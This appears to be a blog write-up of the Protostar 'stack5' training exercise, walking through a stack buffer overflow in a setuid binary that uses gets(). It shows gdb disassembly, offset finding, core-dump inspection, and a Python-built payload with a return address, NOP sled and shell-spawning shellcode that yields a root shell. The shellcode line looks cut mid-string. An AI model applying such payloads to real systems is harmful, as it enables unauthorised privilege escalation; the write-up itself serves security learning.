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Jump into shellcode (protostar - stack5)

hextrace profile image hextrace ・2 min read


root@protostar:/opt/protostar/bin# file stack5
stack5: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped

root@protostar:/opt/protostar/bin# gdb -q stack5
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    and    $0xfffffff0,%esp
0x080483ca <main+6>:    sub    $0x50,%esp
0x080483cd <main+9>:    lea    0x10(%esp),%eax
0x080483d1 <main+13>:   mov    %eax,(%esp)
0x080483d4 <main+16>:   call   0x80482e8 <gets@plt>
0x080483d9 <main+21>:   leave
0x080483da <main+22>:   ret
End of assembler dump.
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Let's test some dumb inputs:

root@protostar:/opt/protostar/bin# python -c "print 'A'*75" | ./stack5
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault
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What about libraries used:

root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ltrace ./stack5
__libc_start_main(0x80483c4, 1, 0xbffffd74, 0x80483f0, 0x80483e0 <unfinished ...>
gets(0xbffffc80, 0xb7ec6165, 0xbffffc88, 0xb7eada75, 0xb7fd7ff4)         = 0xbffffc80
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
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Ok fine, gets is a dangerous function and shouln't be used. Let's figure out why.


Let's prepare a crash dump:

root@protostar:/opt/protostar/bin# ulimit -c unlimited
root@protostar:/opt/protostar/bin# printf 1 > /proc/sys/fs/suid_dumpable
root@protostar:/opt/protostar/bin# python -c "print 'A'*76" | ./stack5
Segmentation fault (core dumped)
root@protostar:/opt/protostar/bin# file /tmp/core.11.stack5.1915
/tmp/core.11.stack5.1915: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from './stack5'
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Now we open the crash dump and inspect the stack:

root@protostar:/opt/protostar/bin# gdb -q -c /tmp/core.11.stack5.1915
Core was generated by `./stack5'.
Program terminated with signal 11, Segmentation fault.
#0  0xb7eadc03 in ?? ()
(gdb) x/40x $esp-80
0xbffffc8c:     0xb7eada75      0x41414141      0x41414141      0x41414141
0xbffffc9c:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcac:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcbc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffccc:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffcdc:     0x41414141      0x00000001      0xbffffd84      0xbffffd8c
0xbffffcec:     0xb7fe1848      0xbffffd40      0xffffffff      0xb7ffeff4
0xbffffcfc:     0x08048232      0x00000001      0xbffffd40      0xb7ff0626
0xbffffd0c:     0xb7fffab0      0xb7fe1b28      0xb7fd7ff4      0x00000000
0xbffffd1c:     0x00000000      0xbffffd58      0x130bb1dd      0x394a07cd
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We're going to write some code on the stack and use eip to jump into it.
We can help ourselves with a 'nop sled' (consecutive nop opcodes) to find the entrypoint more easily:

root@protostar:/opt/protostar/bin# python -c "print 'A'*76+'\xe8\xfc\xff\xbf'+'\x90'*20+'\x31\xc0\x31\xdb\xb0\x06\xcd\x
xe1\x99\xb0\x0b\xcd\x80'" > payload
root@protostar:/opt/protostar/bin# cat payload | ./stack5
# id
uid=0(root) gid=0(root) groups=0(root)
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This payload fills the buffer with 76 A's, then overwrites the instruction
pointer with 0xbffffce8 which is somewhere in our following nop sled of 0x90's
and then our shellcode spawning a shell.

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